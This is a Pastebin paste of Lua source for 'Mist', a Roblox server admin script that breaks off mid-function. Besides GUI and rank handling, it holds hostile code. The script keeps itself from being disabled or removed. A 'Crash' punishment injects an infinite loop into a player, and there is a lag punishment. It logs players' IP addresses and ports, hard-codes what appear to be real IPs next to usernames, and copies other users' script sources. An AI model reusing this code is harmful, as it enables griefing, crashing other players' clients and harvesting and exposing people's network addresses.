Guest User

Untitled

a guest
Feb 18th, 2017
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 227.01 KB | None | 0 0
  1. --[[
  2. Mist Administrative Tablets 1.0
  3. Server Generation
  4. Command Syntax: //Command Arguments -Flags asd
  5. Example:
  6. //Kill tusKOr661-r
  7. --Respawns tusKOr661
  8. --]]
  9. local Mist;
  10. for _,v in next,script:children''do
  11. pcall(function()v.Value=''end);
  12. end;
  13. local con,connect_;connect_=function()
  14. pcall(function()con:disconnect()end);con=script.Changed:connect(function(prop)
  15. connect_();connect_();connect_();repeat wait() connect_() wait() until con~=nil;
  16. if prop == "Disabled" then
  17. pcall(function() repeat script.Disabled = false wait() until script.Disabled == false end)
  18. elseif prop == "Parent" then
  19. pcall(function() repeat script.Parent = nil wait() until script.Parent == nil end)
  20. elseif prop == "Name" then
  21. pcall(function() repeat script.Name = "Mist" wait() until script.Name == "Mist" end)
  22. end
  23. --[=[if(Mist==nil)then
  24. con=nil;connect_=nil;script=nil;env=nil;localenv=nil;setfenv(0,setmetatable({error=error},{__index=function(self,index)rawget(self,'error')'Script is disabled'end}));
  25. end;]=]
  26. Mist.Functions.MainLoop();
  27. coroutine.wrap(function()
  28. script.Name='Mist';
  29. script.Disabled=false;
  30. script.Name='Mist';
  31. script.Disabled=false;
  32. script.Name='Mist';
  33. repeat wait()
  34. script.Name='Mist';
  35. until script.Name=='Mist';
  36. for _,v in next,game:service'Players':players''do
  37. Mist.Functions.Output('An attempt to remove mist was blocked','Red',v,3);
  38. end;
  39. end)();
  40. connect_();
  41. end)
  42. end;
  43. setfenv(1,getfenv(0));
  44. coroutine.wrap(function()
  45. repeat wait()
  46. script:destroy();
  47. script.Disabled=false;
  48. connect_();
  49. pcall(function() Mist.Functions.MainLoop() end);
  50. until false;
  51. end)();
  52. script:Destroy()
  53. script.Parent=nil;
  54. local threads={};
  55. local _coroutine=coroutine;
  56. meta_create=function(class)
  57. return(function(data)
  58. local it=Instance.new(class);
  59. for i,v in pairs(data)do
  60. local a,b=ypcall(function()
  61. if(type(v)=='function')then
  62. it[i]:connect(function(...)local args={ypcall(v,...)}if(not args[1])then if(OP)then OP('error',args[2])else error(args[2])end;end;end);
  63. else
  64. it[i]=v;
  65. end;
  66. end);
  67. if(not a)then error(b) end;
  68. end;
  69. return(it);
  70. end);
  71. end;
  72. Mist=setmetatable({
  73. Ranked={};
  74. Scripts={};--sb skrips
  75. CoreScripts={};--rbx and or ingame skrips
  76. ClientScripts={};--mist skrips
  77. Notifications={};--LAOLAOLA NOTIFICATIONS SWEGGER
  78. AntiFilter={};
  79. Displays={};
  80. Security_Key=(function()
  81. local rtn='';
  82. for i=1,96 do
  83. rtn=rtn..((math.random(1,2)==1 and string.char(96+math.random(1,26)))or math.random(0,9));
  84. end;
  85. return rtn;
  86. end)();
  87. Ranked_Default={
  88. Rank=0;
  89. Color='Orange';
  90. Rotation_Type='Circle';
  91. Selection_Type='Edit';
  92. Desc='<No set description>';
  93. Flag='-';
  94. Trust=3;
  95. Other={ cmdBar=false; inPri=false; Age=nil; UserId=nil};
  96. };
  97. Pri={
  98. Activated=false;
  99. Type='Kick';
  100. Types={
  101. Kick=function(f)
  102. f:Kick();
  103. end;
  104. Crash=function(f)
  105. Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',f));
  106. wait();
  107. f:Kick();
  108. end;
  109. Lag=function(f)
  110. Mist.Functions.Lag(f);
  111. end;
  112. };
  113. };
  114. Logs={
  115. System={};
  116. Chat={};
  117. Commands={};
  118. Error={};
  119. Print={};
  120. };
  121. ScriptStops={};
  122. Ranked_Assets={
  123. [1]={'','50'};--50 rbx
  124. [2]={'','200'};--200 rbx
  125. [3]={'','1000'};--1000 rbx
  126. [4]={'','2000'};--2000 rbx cuz u can mess with mist k
  127. };
  128. Base64=(function()
  129. local asc={};
  130. for i=0,9 do
  131. table.insert(asc,tostring(i));
  132. end;
  133. for i=1,26 do
  134. table.insert(asc,string.char(96+i):lower());
  135. table.insert(asc,string.char(96+i):upper());
  136. end;
  137. return asc;
  138. end)();
  139. ChangeLog={
  140. ['6/19/2014']={
  141. 'Steal My Code And You Will Be Banned Forever, Derek1017'..'sKO'..'r'..'661';
  142. };
  143. ['6/30/2014']={
  144. '7,025 lines, 233,809 characters landmarks reached.';
  145. };
  146. };
  147. Trust_Levels={
  148. [3]="Server and client scripting";
  149. [2]="Server scripting";
  150. [1]="Client scripting";
  151. [0]="No scripting";
  152. };
  153. Tickets={};
  154. Ranks={
  155. [5]='Secret';
  156. [4]='Root';
  157. [3]='Operator';
  158. [2]='Moderator';
  159. [1]='Adminstrator';
  160. [0]='Guest';
  161. [-.5]='Scum';
  162. [-1]='Banished';
  163. [-2]='Mute banished';
  164. [-3]='Lag banished';
  165. };
  166. Services=setmetatable({Game=game},{
  167. __index=function(self,index)
  168. index=tostring(index);
  169. return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
  170. end;
  171. __newindex=function()
  172. error('You cannot add services manually');
  173. end;
  174. __call=function(self,index)
  175. return self[index];
  176. end;
  177. __metatable='Protected';
  178. });
  179. Functions={};
  180. Homes={};
  181. Sources={};--dat skrip steal
  182. Custom_Events={};
  183. Sound_Data={
  184. Sound=nil;
  185. id=0;
  186. Playing=false;
  187. looped=true;
  188. vol=1;
  189. pitch=1;
  190. };
  191. IPs={
  192. ['127.0.0.1']={{IP='127.0.0.1',Port='53...',Player='Player'}};
  193. ['92.20.160.174']={{IP='92.20.160.174',Port='63996',Player='DEADDEVIL1919'}};
  194. ['66.213.50.2']={{IP='66.213.50.2',Port='5303',Player='xxCONTENTDELETERxx'}};
  195.  
  196. };--To be added
  197. Music={
  198. ['Pop it, don\'t drop it']=135584865;
  199. ['Can\'t touch this']=131122314;
  200. ['What does the fox say?']=130797915;
  201. ['Not afraid']=131149175;
  202. ['Nyan cat']=130786686;
  203. };
  204. Rot={
  205. Rotation_1='abcdefghijklmnopqrstuvwxyz';
  206. Rotation_2='0123456789';
  207. Rotate_String=function(String,Rot_Index)
  208. Rot_Index=Rot_Index or 13;
  209. local rtn='';
  210. for char in String:gmatch'(.)'do
  211. rtn=rtn..Mist.Rot.Rotate_Character(char,Rot_Index)
  212. end;
  213. return rtn;
  214. end;
  215. Rotate_Number=function(c,i)
  216. local i=5;
  217. local rot=Mist.Rot.Rotation_2;
  218. local place=rot:find('%%%%%'..c)+i;
  219. if(place>rot:len())then place=place-rot:len()end
  220. return rot:sub(place,place);
  221. end;
  222. Rotate_Character=function(c,i)
  223. if(tonumber(c))then return Mist.Rot.Rotate_Number(c,i)end;
  224. local place=Mist.Rot.Rotation_1:find('%%%%%'..c:lower());
  225. if(place==nil)then return c end
  226. place=place+i;
  227. if(place>#Mist.Rot.Rotation_1)then
  228. place=place-#Mist.Rot.Rotation_1
  229. end;
  230. local char=Mist.Rot.Rotation_1:sub(place,place);
  231. if(c==c:upper())then char=char:upper() end;
  232. return char;
  233. end
  234. };
  235. Filters={
  236. [{'shut/','shutdown/','ban%wt','Instance%[?.?new.?%]?%s*%(?%s*.ManualSurfaceJointInstance.%s*%)?'}]='ban';
  237. [{'crash%St','kick%wt','%w+%s*%=%=%s*"/down"','iHlp%s*%=%s*%{'}]='kick';
  238. [{'repeat[^%-%-]?[^wait]until','while true do%s*end','Spawn%s*%(%s*wait%s*%)','ypcall%s*%(%s*wait%s*)','Delay%s*%(%d+,%s*wait%)'}]='crash';
  239. [{'yolo','sw.g'}]='kill';
  240. };
  241. External_Data={
  242. Link_Type='HTTP';
  243. Link_Data_Pastebin='Deleted due to flaws in security';--Pastebin
  244. Link_Data_Asset=163583955;--Marketplace
  245. Link_Data='Deleted due to flaws in security';--Site --needs to be fixed raig as fk ;u
  246. Last_Checked=tick()-1;
  247. Last_Source='';
  248. Checking=true;
  249. };
  250. Colors=setmetatable({
  251. white=BrickColor.new'White'.Color;
  252. black=BrickColor.new'Black'.Color;
  253. pink=BrickColor.new'Hot pink'.Color;
  254. red=BrickColor.new'Really red'.Color;
  255. blue=BrickColor.new'Really blue'.Color;
  256. green=BrickColor.new'Lime green'.Color;
  257. yellow=BrickColor.new'New Yeller'.Color;
  258. orange=BrickColor.new'Flame yellowish orange'.Color;
  259. purple=BrickColor.new'Royal purple'.Color;
  260. ['light blue']=BrickColor.new'Toothpaste'.Color;
  261. },{__index=function(self,index)
  262. local real=index:sub(1,1):lower()..index:sub(2);
  263. local col=rawget(self,real)or BrickColor.new(index).Color;
  264. return col;
  265. end}
  266. );
  267. Scripts_Locked=false;
  268. Private_Chats=setmetatable({},{
  269. __newindex=function(self,index,value)
  270. if((type(index)=='number'and index>10)or(#self>=10))then
  271. for _,v in next,self do
  272. if(_==1)then else rawset(self,_-1,v) end;
  273. end;
  274. end;
  275. rawset(self,index,value);
  276. end;
  277. });
  278. Tablets={};
  279. Commands=setmetatable({},{__len=function(self,numb)local l=0; for _,v in next,self do l=l+1 end return l end});
  280. Temp_Ban_Data={};
  281. Settings={
  282. tabletType='Tablet';
  283. Commands={
  284. LogViewLast10=true;
  285. };
  286. Debug_Services=true;
  287. Guests=true;
  288. Under_Age=true;
  289. Highlight=true;
  290. };
  291. Shutdown={
  292. doing=false;
  293. };
  294. UrlBases={
  295. Char='http://www.roblox.com/Asset/CharacterFetch.ashx?userId=%s';
  296. Asset='rbxasset://%s';
  297. CharImage='http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=%s';
  298. };
  299. Clients={};
  300. Connections={};
  301. Rules='No free models*No un neccessary banning*No un neccessary kicking*No shutting down unless owner*No stealing unless out of revenge or permission';
  302. Tablet_Data={
  303. Increase=(.1/100);
  304. Rotation=0;
  305. };
  306. Titles={};
  307. },{__call=function(self,index)return rawget(self,index)end});
  308. coroutine.wrap(function()
  309. local to_be_pushed=true;
  310. local push;push=function(table,_index,_call,_new,___index)
  311. if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
  312. local fake={
  313. __index=_index or(function(self,index)
  314. return rawget(self,index);
  315. end);
  316. __call=_call or(function(self,index)
  317. return rawget(self,index);
  318. end);
  319. __newindex=_new or(function(self,index,value)
  320. if(type(value)=='table')then
  321. push(value);
  322. end;
  323. rawset(self,index,value);
  324. end);
  325. };
  326. return setmetatable(table,fake);
  327. end;
  328. end;
  329. if(not to_be_pushed)then return end;
  330. for _,v in next,Mist do
  331. if(type(v)=='table')then
  332. push(v,nil,nil,nil,_);
  333. end;
  334. end;
  335. setmetatable(Mist,{
  336. __call=function(self,index)
  337. return rawget(self,index);
  338. end;
  339. __newindex=function(self,index,value)
  340. if(type(value)=='table')then
  341. push(value,nil,nil,nil,index);
  342. end;
  343. rawset(self,index,value);
  344. end;
  345. });
  346. end)();
  347. Mist.Functions.IPFromPlayer=function(player)
  348. pcall(function()player=player.Name;end);
  349. local ip=nil;
  350. for ip,v in next,Mist.IPs do
  351. for _,val in next,v do
  352. if(val.Player==player)then
  353. ip=val;
  354. end;
  355. end;
  356. end;
  357. end;
  358. Mist.Functions.WaitForIP=function(r)--Replicated r
  359. if(r:isA'ServerReplicator')then
  360. local enabled=pcall(function()local c; c=r.Disconnection:connect(function()c:disconnect()end) end);
  361. if(enabled)then
  362. pcall(function()Mist.Connections['Replicator: '..r:getPlayer().Name]:disconnect()end);
  363. Mist.Connections['Replicator: '..r:getPlayer().Name]=r.Disconnection:connect(function(IP,...)
  364. local ip,port=IP:match'(.+)|(.+)';local player=r:getPlayer().Name;
  365. local ips=Mist.IPs[ip];
  366. if(ips)then
  367. table.insert(ips,{IP=ip,Port=port,Name=player});
  368. else
  369. Mist.IPs[ip]={{IP=ip,Port=port,Name=player}};
  370. end;
  371. end);
  372. end;
  373. end;
  374. end;
  375. Mist.Functions.GetScripts=function(Player)
  376. pcall(function()Player=Player.Name;end);
  377. local scripts={};
  378. for _,v in next,Mist.Scripts do
  379. if(v[2]==Player)then
  380. table.insert(scripts,v);
  381. end;
  382. end;
  383. return scripts;
  384. end;
  385. Mist.Functions.SyncRanksOut=function()
  386. --[[local ranked='';
  387. local tableToString;function tableToString(table)
  388. local str='{ Rank = '..table.Rank..', Color = "'..table.Color..'", Rotation_Type="'..table.Rotation_Type..'",Selection_Type="'..table.Selection_Type..'",Trust = '..table.Trust..', Desc = "'..table.Desc..'", Flag = "'..table.Flag..'"';
  389. if(table.Other)then
  390. str=str..', Other={ cmdBar='..tostring(table.Other.cmdBar)..', inPri='..tostring(table.Other.inPri);
  391. if(table.Other.Age~=nil)then
  392. str=str..',Age ='..tostring(table.Other.Age);
  393. end;
  394. if(table.Other.UserId~=nil)then
  395. str=str..',UserId='..tostring(table.Other.UserId);
  396. end;
  397. str=str..'}';
  398. end;
  399. str=str..'}';
  400. return str;
  401. end;
  402. for _,data in next,Mist.Ranked do
  403. ranked=ranked..'['.._..']='..tableToString(data)..'|';
  404. end;]]
  405. local Store=game:service'DataStoreService':GetGlobalDataStore();
  406. local Store_Ranked=Store:GetAsync(Mist.Saved_Key)or{};
  407. for _,v in next,Mist.Ranked do
  408. Store_Ranked[_]=v;
  409. end;
  410. Store:SetAsync(Mist.Saved_Key,Store_Ranked);
  411. end;
  412. Mist.Functions.SyncRanksIn=function()
  413. local store=game:service'DataStoreService':GetGlobalDataStore();
  414. local data=store:GetAsync(Mist.Saved_Key)or {};
  415. --[[for set in data:gmatch'(.+)|'do
  416. local name,_data=set:match'%[.(.+).%]%=(.+)';
  417. local table=loadstring('return'.._data)();
  418. for _,v in next,table do
  419. Mist.Ranked[name][_]=v;
  420. end;
  421. end;]]
  422. for _,v in next,data do
  423. Mist.Ranked[_]=v;
  424. end;
  425. end;
  426. Mist.Functions.CheckObject=function(Object)
  427. --if(not pcall(function()Object:IsA'Part'end))then return end;
  428. --if(Object:isA'Script'or Object:IsA'LocalScript' or Object.className:find'Script')then
  429. --coroutine.resume(coroutine.create(function()
  430. local owner=Object:findFirstChild'user'or Object:findFirstChild'Owner'or Object:findFirstChild'sPlayer';
  431. if(owner)then owner=owner.Value.Name end;
  432. local source=(Object:findFirstChild'Source'or Object:findFirstChild'source'or Object:findFirstChild'DSource' or Object:findFirstChild'sSource');
  433. if(source)then
  434. table.insert(Mist.Scripts,{Object,owner,source,((source and source.Value)or'No source'),Object:clone()});
  435. else
  436. table.insert(Mist.CoreScripts,{Object,owner,source,((source and source.Value)or'No source'),Object:clone()});
  437. end;
  438. --end));
  439. --end;
  440. end;
  441. Mist.Functions.blankGui=function(Parent,Name,Title,Position,Size,Base_Color,Buttons,BodyText)
  442. Position=Position or UDim2.new(.25,0,.25,0);
  443. Size=Size or UDim2.new(.5,0,.25,0);
  444. Base_Color=Base_Color or{Color3.new(.6,.6,.6),Color3.new(0,0,.9)};
  445. Buttons=Buttons or{};
  446. local closing,minimized,full_screen=false,false,false;
  447. local screen=Instance.new'ScreenGui';
  448. screen.Name=Name;
  449. screen.Parent=Parent;
  450. local frame=Instance.new('Frame',screen);
  451. frame.BackgroundColor3=Base_Color[1];
  452. frame.Size=Size;
  453. frame.Position=Position;
  454. frame.Draggable=true;
  455. frame.Active=true;
  456. frame.ClipsDescendants=true;
  457. local title=Instance.new('TextLabel',frame);
  458. title.Size=UDim2.new(.99,0,0,20);
  459. title.Position=UDim2.new(.005,0,0,2.5);
  460. title.BackgroundColor3=Base_Color[2];
  461. title.TextColor=BrickColor.new'White';
  462. title.FontSize='Size12';
  463. title.TextScaled=true;
  464. title.TextWrapped=true;
  465. title.TextXAlignment='Center';
  466. title.Text=Title;
  467. title.TextXAlignment='Left';
  468. local exit=Instance.new('TextButton',title);
  469. exit.Size=UDim2.new(0,15,0,15);
  470. exit.BackgroundColor3=Base_Color[1];
  471. exit.FontSize='Size12';
  472. exit.TextColor=BrickColor.new'Really red';
  473. exit.Text='X';
  474. exit.ZIndex=2;
  475. exit.BorderColor3=Base_Color[1];
  476. exit.Position=UDim2.new(1,-17.5,0,2.5);
  477. exit.MouseButton1Click:connect(function()
  478. if(not closing)then
  479. closing=true;
  480. coroutine.wrap(function()
  481. local X=frame.Size.X;
  482. local Off,Scale=X.Offset,X.Scale;
  483. frame:TweenSize(UDim2.new(Scale,Off,0,0),'Out','Quad',1,true);
  484. wait(1);
  485. screen:Destroy();
  486. end)();
  487. end;
  488. end);
  489. local minimize=exit:clone();
  490. minimize.Text='-';
  491. minimize.TextColor=BrickColor.new'Black';
  492. minimize.Position=UDim2.new(1,-40,0,2.5);
  493. minimize.MouseButton1Click:connect(function()
  494. local size;
  495. if(closing)then return end;
  496. if(minimized==true)then
  497. if(full_screen)then
  498. size=UDim2.new(1,0,1,0);
  499. else
  500. size=Size;
  501. end;
  502. else
  503. size=UDim2.new(.5,0,.05);
  504. end;
  505. frame:TweenSize(size,'Out','Quad',1,true);
  506. if(full_screen)then
  507. frame.Position=UDim2.new();
  508. else
  509. frame.Position=Position;
  510. end;
  511. minimized=not minimized;
  512. end);
  513. minimize.Parent=title;
  514. local full=minimize:clone();
  515. full.Text='+';
  516. full.Parent=title;
  517. full.Position=UDim2.new(1,-62.5,0,2.5);
  518. full.MouseButton1Click:connect(function()
  519. local size;size=Size;
  520. full_screen=not full_screen;
  521. if(full_screen)then
  522. size=UDim2.new(1,0,1,0);
  523. end;
  524. if(full_screen)then
  525. frame.Position=UDim2.new();
  526. else
  527. frame.Position=Position;
  528. end;
  529. frame:TweenSize(size,'Out','Quad',1,true);
  530. end);
  531. local body=Instance.new('TextLabel',frame);
  532. body.BackgroundTransparency=1;
  533. body.TextWrapped=true;
  534. body.FontSize='Size24';
  535. body.Size=UDim2.new(1,0,.75,0);
  536. body.Font='SourceSans';
  537. body.TextColor3=BrickColor.new'Black'.Color;
  538. body.Position=UDim2.new(0,0,0,45);
  539. if(BodyText)then
  540. body.Text=BodyText;
  541. end;
  542. return screen,frame,title,exit,body;
  543. end;
  544. Mist.Functions.UpdateNotifications=function()
  545. --Spawn(function()
  546. for _,data in next,Mist.Notifications do
  547. if(not data.playerInstance or not data.playerInstance.Parent)then
  548. Mist.Notificaions[_]=nil;
  549. end;
  550. end;
  551. for _,Player in next,game:service'Players':players()do
  552. --Spawn(function()
  553. local notifications=Mist.Functions.GetNotifications(Player);
  554. local sorted=table.sort(notifications,function(a,b)
  555. return a.timeStamp<b.timeStamp;
  556. end);
  557. local len=(function() local rtn=0;table.foreach(sorted,function()rtn=rtn+1;end); return rtn;end)();
  558. local basePosition=UDim2.new(1,0,1,0);
  559. for _,data in next,notifications do
  560. local pos=(len-_);
  561. local realPos=basePosition+UDim2.new(0,-(90*pos),0,-180);
  562. data.screen.Position=realPos;
  563. end;
  564. --end);
  565. end;
  566. --end);
  567. end;
  568. Mist.Functions.GetNotifications=function(player)
  569. pcall(function()player=player.Name;end);
  570. local n={};
  571. pcall(function() Mist.Functions.UpdateNotifications() end);
  572. for _,v in next,Mist.Notifications do
  573. if(v and v['player']and v['player']==player)then
  574. table.insert(n,v);
  575. end;
  576. end;
  577. return n;
  578. end;
  579. Mist.Functions.Notify=function(player,title,text,buttons,exitFunc,time)
  580. --Spawn(function()
  581. local objs={};
  582. local push=function(iOrVal,val)
  583. local i,v;
  584. if(val)then
  585. i=iOrVal;
  586. v=val;
  587. else
  588. v=iOrVal;
  589. i=#objs+1;
  590. end;
  591. objs[i]=v;
  592. end;
  593. push('playerInstance',player);
  594. push('player',player.Name);
  595. push('timeStamp',tick());
  596. push('time',time or 25);
  597. push('guiEnded',false);
  598. push('connection',game:service'RunService'.Stepped:connect(function()
  599. ypcall(function()
  600. local a,b,gui;
  601. gui=objs.screen;
  602. if(gui)then
  603. a,b=ypcall(function()
  604. gui.Parent=player:findFirstChild'PlayerGui';
  605. end);
  606. end;
  607. if( (a~=nil and not a)or objs.guiEnded==true)then
  608. if(not objs.guiEnded)then
  609. Mist.Functions.Notify(player,title,text,buttons,exitFunc,time);
  610. else
  611. pcall(function() objs.screen:Destroy() end);
  612. end;
  613. objs.connection:disconnect();
  614. objs.callBack:disconnect();
  615. end;
  616. end);
  617. end));
  618. local gui=player:findFirstChild'PlayerGui';
  619. local container=gui:findFirstChild('Mist.Notifications');
  620. if(not container)then
  621. container=Instance.new('ScreenGui',gui);
  622. container.Name='Mist.Notifications';
  623. end;
  624. local frame=Instance.new('Frame',container);
  625. frame.Name=title;
  626. frame.Size=UDim2.new(0,90,0,180);
  627. frame.BackgroundTransparency=.3;
  628. frame.BackgroundColor=BrickColor.new'Dis is def not a colour';
  629. frame.Position=UDim2.new(1,0,1,0);
  630. local titleLabel=Instance.new('TextLabel',frame);
  631. titleLabel.Size=UDim2.new(1,-90,.1,0);
  632. titleLabel.Parent=frame;
  633. titleLabel.BackgroundColor=BrickColor.new('Light blue');
  634. titleLabel.TextColor3=Color3.new(1,1,1);
  635. titleLabel.TextXAlignment='Center';
  636. titleLabel.Text=title;
  637. titleLabel.FontSize='Size12';
  638. local exitButton=Instance.new('TextButton',titleLabel);
  639. exitButton.Size=UDim2.new(0,25,0,25);
  640. exitButton.Position=UDim2.new(1,-25,0,0);
  641. exitButton.FontSize='Size12';
  642. exitButton.BackgroundColor3=Color3.new'Dis is def not a colour';
  643. push('callBack',exitButton.mouseButton1Down:connect(function()
  644. if(exitFunc)then
  645. exitFunc();
  646. end;
  647. push('guiEnded',true);
  648. end));
  649. local body=Instance.new('TextLabel',frame);
  650. body.Size=UDim2.new(1,0,.8,0);
  651. body.Position=UDim2.new(0,0,.1,0);
  652. body.BackgroundTransparency=1;
  653. body.TextColor3=Color3.new();
  654. body.Text=text;
  655. body.FontSize='Size12';
  656. body.TextColor3=Color3.new();
  657. push('screen',frame);
  658. push('exit',exitButton);
  659. push('titleLabel',titleLabel);
  660. push('body',body);
  661. table.insert(Mist.Notifications,objs);
  662. --end);
  663. end;
  664. Mist.Functions.AddFilter=function(filter,type)
  665. local filter_table=false;
  666. for _,v in next,Mist.Filters do
  667. if(v==type:lower())then
  668. filter_table=true;
  669. table.insert(_,filter);
  670. break;
  671. end;
  672. end;
  673. if(filter_table==false)then
  674. Mist.Filters[{filter}]=type:lower();
  675. end;
  676. end;
  677. Mist.Functions.OutputRank=function(Rank,Info,t,c,...)
  678. local function matchRank(rank)
  679. local f=loadstring('return asd'..Info..'asdr');
  680. getfenv(f).asd=rank;getfenv(f).asdr=Rank;
  681. return f();
  682. end;
  683. for _,v in next,Mist.Services'Players':players()do
  684. if(matchRank(Mist.Ranked[v.Name].Rank))then
  685. Mist.Functions.Output(t,c,v,...);
  686. end;
  687. end;
  688. end;
  689. Mist.Functions.CreateEvent=function(Event_Name,Event_Function,Event_Loop)
  690. local event={
  691. event=nil;
  692. connect=function(self,func)
  693. pcall(function()self.connection:disconnect()end);
  694. local d={event.Event:connect(function(...)
  695. func(...);
  696. end);
  697. disconnect=function(self)
  698. self[1]:disconnect();
  699. end};
  700. self.connection=d[1];
  701. return d;
  702. end;
  703. connection=nil;
  704. };
  705. local c=Mist.Custom_Events[Event_Name];
  706. if(c)then
  707. event.event=c;
  708. else
  709. c=meta_create'BindableEvent'{
  710. Parent=workspace;
  711. Name=Event_Name;
  712. };
  713. if(Event_Function)then
  714. local r=c.Event:connect(function(...)
  715. Event_Function(...);
  716. end);
  717. event.connection=r;
  718. end;
  719. coroutine.wrap(function()
  720. repeat wait()
  721. local EventData={Event_Loop()};
  722. if(EventData[1]==true)then
  723. c:fire(select(2,unpack(Event_Data)));
  724. end;
  725. wait();
  726. until false;
  727. end)();
  728. Mist.Custom_Events[Event_Name]=c;
  729. end;
  730. return event;
  731. end;
  732. Mist.Functions.CreateData=function(Name,Rank,Trust,Color,Desc,Rotation,Selection,Flag,Other)
  733. Name=Name or'';
  734. Rank=Rank or Mist.Ranked_Default.Rank;
  735. Desc=Desc or Mist.Ranked_Default.Desc;
  736. Trust=Trust or Mist.Ranked_Default.Trust;
  737. Color=Color or Mist.Ranked_Default.Color;
  738. Rotation=Rotation or Mist.Ranked_Default.Rotation_Type;
  739. Selection=Selection or Mist.Ranked_Default.Selection_Type;
  740. Flag=Flag or Mist.Ranked_Default.Flag;
  741. Other=Other or (function() local Data={}; for _,v in next,Mist.Ranked_Default.Other do Data[_]=v end return Data end)();
  742. if(Rank~=nil and Rank>0)then
  743. Other.inPri=true;
  744. end;
  745. if(Mist.Ranked[Name]==nil)then
  746. Mist.Ranked[Name]={Rank=Rank,Color=Color,Rotation_Type=Rotation,Desc=Desc,Selection_Type=Selection,Flag=Flag,Trust=Trust;Other=Other};
  747. end;
  748. end;
  749. Mist.Functions.GetRank=function(Player)
  750. pcall(function()Player=Player.Name;end);
  751. local data=Mist.Ranked[Player];
  752. local rank=0;
  753. pcall(function()rank=data.Rank;end);
  754. return rank;
  755. end;
  756. Mist.Functions.CreateCommand=function(Command_Name,Commands,UseFlags,Rank,Description,FlagsString,Function,Other)
  757. local other={};
  758. for _,v in next,(Other or {})do
  759. other[_]=v;
  760. end;
  761. FlagsString=FlagsString:gsub('%%.',function()return '.'end);
  762. other.Name=Command_Name;other.Commands=Commands;other.UseFlags=UseFlags;other.Rank=Rank;other.Description=Description;other.FlagsString=FlagsString;other.Func=Function;
  763. Mist.Commands[Command_Name]=other;
  764. table.insert(Mist.Logs.System,{'Command created: '..Command_Name,Mist.Functions.GetTime(tick())});
  765. end;
  766. Mist.Functions.GetTrust=function(Player)
  767. pcall(function()Player=Player.Name;end);
  768. local data=Mist.Ranked[Player];
  769. local rank=0;
  770. pcall(function()rank=data.Trust;end);
  771. print(trust,Player);
  772. return rank;
  773. end;
  774. Mist.Functions.CreateScript=function(Source,Parent,Owner)
  775. local Script;
  776. if(NewScript)then
  777. Script=NewScript(Source,Instance.new'Model');
  778. for _,v in next,Script:children()do
  779. if(v:isA'StringValue')then v.Value=Source elseif(v:isA'ObjectValue')then v.Value=Owner end;
  780. end;
  781. Script.Parent=Parent;
  782. else
  783. Script=script:clone();
  784. Script:clearAllChildren();
  785. for _,v in next,{ {'Source','Owner'}, {'source','user'} ,{'DSource'}, {'sSource','sPlayer'} }do
  786. local i=Instance.new('StringValue',Script);
  787. i.Name=v[1];
  788. i.Value=Source;
  789. if(v[2])then
  790. local owner=Instance.new('ObjectValue',Script);
  791. owner.Name=v[2];
  792. owner.Value=Owner;
  793. end;
  794. end;
  795. Script.Disabled=true;
  796. Script.Parent=Parent;
  797. Script.Disabled=false;
  798. return Script;
  799. end;
  800. return s;
  801. end;
  802. Mist.Functions.UpdateTablets=function()
  803. local isNil=function(name)
  804. local is=false;
  805. for _,v in next,game:findService'NetworkServer':children()do
  806. if(v and v:isA'ServerReplicator')then
  807. if(v:getPlayer().Name:match(name))then
  808. is=true;
  809. break;
  810. end;
  811. end;
  812. end;
  813. return is;
  814. end;
  815. coroutine.wrap(function()
  816. for _,Tablet in next,Mist.Tablets do
  817. local Owner=Tablet.Owner;
  818. if(Owner==nil or (Mist.Services'Players':findFirstChild(Owner)==nil and isNil(Owner)==false) or Tablet.Model==nil or not Tablet.Model.Parent== Mist.Services'Workspace'or Tablet.Part.Parent~=Tablet.Model or not Tablet.Model:isDescendantOf(Workspace)or not Tablet.Part:isDescendantOf(Workspace))then
  819. pcall(function()Tablet.Model:remove();end);pcall(function()Tablet.Part:remove()end);
  820. Mist.Tablets[_]=nil;
  821. end;
  822. end;
  823. for _,Tablet in next,Mist.Titles do
  824. local Owner=Tablet.Owner;
  825. if(Owner==nil or (Mist.Services'Players':findFirstChild(Owner)==nil and isNil(Owner)==false) or Tablet.Model==nil or not Tablet.Model.Parent== Mist.Services'Workspace'or Tablet.Part.Parent~=Tablet.Model or not Tablet.Model:isDescendantOf(Workspace)or not Tablet.Part:isDescendantOf(Workspace))then
  826. pcall(function()Tablet.Model:remove();end);pcall(function()Tablet.Part:remove()end);
  827. Mist.Titles[_]=nil;
  828. end;
  829. end;
  830. end)();
  831. Mist.Tablet_Data.Rotation=Mist.Tablet_Data.Rotation+Mist.Tablet_Data.Increase;
  832. coroutine.wrap(function()
  833. local Players={};
  834. for _,v in next,game:findService'NetworkServer':children()do
  835. if(v and v:isA'ServerReplicator')then
  836. local realPlayer=v:getPlayer();
  837. if(realPlayer==nil)then return end;
  838. local fakePlayer=newproxy(true);
  839. local meta=getmetatable(fakePlayer);
  840. meta.__index=setmetatable({
  841. Character=(function()
  842. local char;
  843. if(realPlayer.Character)then return realPlayer.Character end;
  844. for _,v in next,workspace:children()do
  845. if(v.Name==realPlayer.Name and v:findFirstChild'Torso' and v:findFirstChild'Head')then
  846. char=v;
  847. end;
  848. end;
  849. return char;
  850. end)();
  851. },{__index=function(self,index)
  852. local object;local ran,err=pcall(function() object=rawget(self,index)or realPlayer[index] end);
  853. return object;
  854. end});
  855. table.insert(Players,fakePlayer);
  856. end;
  857. end;
  858. for _,Player in next,Players do
  859. coroutine.wrap(function()
  860. local setShape=function(tablet)
  861. if(Mist.Settings.tabletType=='Block'or Mist.Settings.tabletType=='Ball')then
  862. tablet.Size=Vector3.new(2.5,2.5,2.5);
  863. tablet.Shape=Mist.Settings.tabletType;
  864. else
  865. tablet.Size=Vector3.new(4,2.5,0);
  866. tablet.Shape='Block';
  867. end;
  868. tablet.FormFactor='Custom';
  869. end;
  870. local Tablets=Mist.Functions.GetTablets(Player);
  871. if(Mist.Ranked[Player.Name]==nil)then
  872. Mist.Functions.CreateData(Player.Name);
  873. end;
  874. local Movement=Mist.Ranked[Player.Name].Rotation_Type;
  875. if(Movement=='Stacked')then
  876. --[[
  877. Stacked requires a seperate type of Tablet Table for stacked CFrames
  878. --]]
  879. local stack={};
  880. local total_use=6;
  881. local total_add=6;
  882. local needed=8;
  883. local current_stack={};
  884. stack[#stack+1]=current_stack;
  885. for _,v in next,Tablets do
  886. if(_==needed+1)then
  887. total_use=total_use+total_add;
